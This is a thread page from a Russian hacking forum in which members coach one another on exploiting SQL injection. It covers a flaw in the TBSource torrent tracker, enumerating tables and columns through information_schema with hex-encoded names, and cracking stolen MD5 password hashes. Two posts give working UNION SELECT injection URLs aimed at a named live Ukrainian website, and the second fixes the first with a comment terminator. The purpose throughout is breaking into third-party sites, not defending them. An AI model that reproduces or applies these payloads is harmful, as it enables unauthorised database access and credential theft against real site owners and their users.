Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. vitgob

    vitgob New Member

    Joined:
    21 Jun 2009
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    A vulnerability found in the popular bittorrent tracker TBSource code allows an attacker to inject SQL queries and read secret information from the database.
    The value of 'choice' passed to the script index.php is not properly sanitized. When a special tailored value is passed by an attacker, full reading access to the database is possible.
    Some projects based in TBSource like TBDev and TorrentStrike have been found to be affected by the same vulnerability.

    Bug discovered by Emiliano Scavuzzo
    можете помочь сделать этот injection?
     
  2. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Посмотрел, короче будет работать только если:

    1) залогиниться
    2) юзер хоть раз участвовал в голосовании

    Уязвимый запрос:
    Code:
    sql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(__FILE__, __LINE__);
    тогда можно в к примеру сделать так:
     
    #7702 Qwazar, 22 Jun 2009
    Last edited: 22 Jun 2009
  3. vitgob

    vitgob New Member

    Joined:
    21 Jun 2009
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Qwazar
    попробовал на tb source alfa
    дало sql error
    Subquery returns more than 1 row
    что делать?
     
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Читать статьи:
    https://forum.antichat.ru/threadnav43966-1-10.html
    http://forum.antichat.ru/threadnav35207-1-10.html
    https://forum.antichat.ru/thread119047.html
    https://forum.antichat.ru/thread19844.html

    После прочтения , если останутся вопросы , сюда спрашивать.
     
  5. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    Уязвим параметр 'choice' в index.php, значит post'ом в в choice раскручиваешь данную багу. Но есть один момент - на главной должна обязательно быть голосовалка и надо быть авторизованым, иначе раскрутить не получиться...
     
    #7705 nemaniak, 22 Jun 2009
    Last edited: 22 Jun 2009
  6. vitgob

    vitgob New Member

    Joined:
    21 Jun 2009
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    nemaniak
    да это понятно, но вот раскрутить не удаётся, азы sql inj я знаю, но всё равно не получается...
     
  7. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ты статьи почитай от начала и до конца. Ссылки дал jokester выше. Там всё есть.
     
  8. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    Начни лучше с азов MySQL, попробуй на локал хосте попрактиковаться, в том phpMyAdmin и etc. а то не понимая самого языка толку не много будет "делать все как в статье".
     
  9. vitgob

    vitgob New Member

    Joined:
    21 Jun 2009
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    PaCo
    Я знаю язык mysql очень хорошо..
     
  10. vitgob

    vitgob New Member

    Joined:
    21 Jun 2009
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    PaCo
    у меня именно этот случай не получается с POST'ом
     
  11. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    vitgob, у тебя как раз тот случай. И хватит сообщения плодить, прочитай те статьи поймёшь что в запросе значит if() и что в данном случае значит ошибка subquery returns more then 1 row.

    Hint: На том серваке на котором ты проверял ошибку - 5я версия MySql. (И POST тут не при чём).
     
  12. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Что значит "не получается"?
    Что конкретно не получается?
    Чего ты ждёшь от запроса?
    Какой результат по твоему должен быть?
    Причём тут "не получается с POST"?
    Если ты пишешь:
    То видимо в состоянии ответить на вопрос почему у тебя получается такая ошибка:
    Subquery returns more than 1 row

    Что ты хочешь что-бы тебе тут посоветовали? Запрос который выводит логин и пароль админа, или что? Или вывод кнопки залить шелл? Так не получится.

    Эта скуль слепая, т.е. без вывода + есть условия для эксплуатации,их тебе описали, её нужно расскручивать если ты знаешь синтаксис Mysql , то это труда не составит, если нет, читай статьи которые я тебе показал и ПО ПРОЧТЕНИЮ задавай вопросы.

    Т.е. например: "я делаю так-то и так-то , жду, что будет то-то и то-то, а мне выдаёт то-то и то-то"
    Вот как-то так
     
    1 person likes this.
  13. XXXXXX

    XXXXXX New Member

    Joined:
    3 Jun 2009
    Messages:
    24
    Likes Received:
    1
    Reputations:
    -5
    Люди не посчитайте мои вопросы сильно тупыми но я новичек в этом.

    1. немного раскажи о limit+__. как я понял нужно ставить 0.1 или 1,1 или 2,1. Ставил каждый вариант появляются разные списки таблиц. так какой же нужно ставить?

    2. после того как я получил список таблиц (5 ветка), что бы получить список колонок именно какой то таблицы то эту же таблицу нужно перевести в хек. Как мне это сделать?

    3. если я получил пороль зашифрованый в MD5 то какой прагой его расшифровать? сколько приблизительно времени расшифровается пороль? и какие шансы что прага его расшифрует?
     
  14. --StraNger--

    --StraNger-- Member

    Joined:
    4 Jan 2009
    Messages:
    63
    Likes Received:
    57
    Reputations:
    5
    http://forum.antichat.ru/thread43966.html
    ну неужели так сложно прочитать эту статью?
    там ведь все есть. здесь постят вопросы конкретно по раскрутке конкретных скулей, а написанию еще одной статьи по sql инджекту
     
  15. XXXXXX

    XXXXXX New Member

    Joined:
    3 Jun 2009
    Messages:
    24
    Likes Received:
    1
    Reputations:
    -5
    я её читал но на данные вопросы ответов не нашел.
    Вам че трудно обьяснить малость.
     
  16. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605


    1) при каждом Limit x.1

    x= {1,2,3,4,5,6,...}
    ответ ЛЮБОЙ )))тока при каждом x будут выданы тебе свои таблицы

    в среднем ищи таблицы где есть название user,members, и т.д что связано с юзерами )))

    2)найти скрипты, проги , сервисы где переводят

    пока робит на

    __http://haxta4ok.wallst.ru/tools.php в первую строку вводиш - он тебе даст что тебе надо


    пример :

    http://sait.mda/index.php?id=1+union+select+1,2,column_name,4,5,6+from+information_schema.tables+where+table_name=0x75736572

    0x75736572=user в хеке

    И тут он тебе выдаст имена колонок в таблице user

    3)http://passcracking.ru/index.php тут пробуй)))
     
    _________________________
    #7716 HAXTA4OK, 22 Jun 2009
    Last edited: 22 Jun 2009
    1 person likes this.
  17. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    вопрос, если у меня есть в конце ссылки параметр .........uname=vvvvvv' - я подставил кавычку и в ответ мне пишeт: vvvvvv'
    There is no available information for vvvvvv'

    Можно ли это считать SQL inj?
     
  18. --StraNger--

    --StraNger-- Member

    Joined:
    4 Jan 2009
    Messages:
    63
    Likes Received:
    57
    Reputations:
    5
    нет, попробуй на xss
     
  19. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    помогите найти ошибку в запросе, вроде версия 5...но всё же...
    http://www.webkatalog.kiev.ua/section.php?kat=1&subkat=-1+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.tables+where+table_schema=%27webkat_baze%27
     
  20. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    http://www.webkatalog.kiev.ua/section.php?kat=1&subkat=-1+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.tables+--

    ТЫ не поставил комментарий, он нужен для того чтобы обрубить "AND status=1 ORDER BY ocenka desc, view desc, date2 asc LIMIT 0,10 "
     
Thread Status:
Not open for further replies.